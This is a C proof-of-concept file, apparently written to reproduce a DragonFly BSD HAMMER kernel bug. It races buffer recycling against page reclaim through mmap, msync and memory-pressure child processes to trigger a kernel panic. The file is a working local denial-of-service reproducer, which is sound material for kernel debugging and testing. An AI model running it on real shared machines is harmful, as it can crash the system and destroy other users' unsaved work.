DF-3000 / op3000e.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | /* * DF-3000 PoC (attempt 5): concurrent buffer-recycling + page-reclaim. * * parent: file on hammer1; mmap MAP_SHARED; fill; msync (buffers clean); * dirty sparse pages (1 per 16K block + last page of the partial * final block) -> dirty pages pinned, buffers still clean. * child A (buffer demand): dd-style unique writes of ~1.2GB to a file on * the hammer2 root -> thousands of NEW buffers -> getnewbuf() * recycles the clean-queued hammer1 buffers -> their pages are * unwired (dirty page survives, clean siblings become reclaimable). * child B (page reclaim): touch ~2.8GB anon -> page daemon reclaims the * now-unwired clean sibling pages. * parent: msync(MS_SYNC) -> putpages -> hammer_vop_write(UIO_NOCOPY): * getblk(16K) sees missing pages -> !B_CACHE -> bqrelse(bp) + * bread(&bp) (breadnx reuses the RELEASED buffer) -> bwrite() on * an unlocked buffer -> panic("bwrite: buffer is not busy???"). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <signal.h> #include <sys/mman.h> #include <sys/sysctl.h> #include <sys/wait.h> static const char *churnfile = "/big2.bin"; static void buffer_demand_child(void) { int fd = open(churnfile, O_RDWR|O_CREAT|O_TRUNC, 0644); static char buf[65536]; if (fd < 0) _exit(1); memset(buf, 0x5a, sizeof(buf)); for (int mb = 0; mb < 1200; mb++) { for (int j = 0; j < 16; j++) if (pwrite(fd, buf, sizeof(buf), (off_t)mb * 1048576 + j * 65536) < 0) _exit(1); } ftruncate(fd, 0); close(fd); _exit(0); } static void anon_child(unsigned long physmem) { size_t sz = (physmem / 32) * 27 & ~4095UL; /* ~84% */ char *p, *big = mmap(NULL, sz, PROT_READ|PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0); if (big == MAP_FAILED) _exit(1); for (p = big; p < big + sz; p += 4096) *p = 1; /* hold the pressure while parent msyncs */ sleep(6); munmap(big, sz); _exit(0); } int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/h1/df3000e.bin"; size_t fsize = (1 << 20) + 8192; pid_t pa, pb; int st; setvbuf(stdout, NULL, _IONBF, 0); unsigned long physmem; size_t len = sizeof(physmem); sysctlbyname("hw.physmem", &physmem, &len, NULL, 0); int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } if (ftruncate(fd, fsize)) { perror("ftruncate"); return 1; } char *w = mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (w == MAP_FAILED) { perror("mmap"); return 1; } memset(w, 0, fsize); if (msync(w, fsize, MS_SYNC)) perror("msync fill"); /* sparse dirty set: one page per 16K block + final page */ for (size_t off = 0; off < fsize; off += 16384) w[off + 64] = (char)off; w[fsize - 1] = 0x42; printf("sparse pages dirtied; launching pressure children\n"); pa = fork(); if (pa == 0) buffer_demand_child(); pb = fork(); if (pb == 0) anon_child(physmem); /* let the children work: buffers recycle, siblings reclaimed */ sleep(4); printf("msync(MS_SYNC) putpages...\n"); if (msync(w, fsize, MS_SYNC)) printf("msync: %s\n", strerror(errno)); else printf("msync: OK\n"); kill(pa, SIGKILL); kill(pb, SIGKILL); waitpid(pa, &st, 0); waitpid(pb, &st, 0); munmap(w, fsize); close(fd); unlink(path); printf("done, no panic\n"); return 0; } |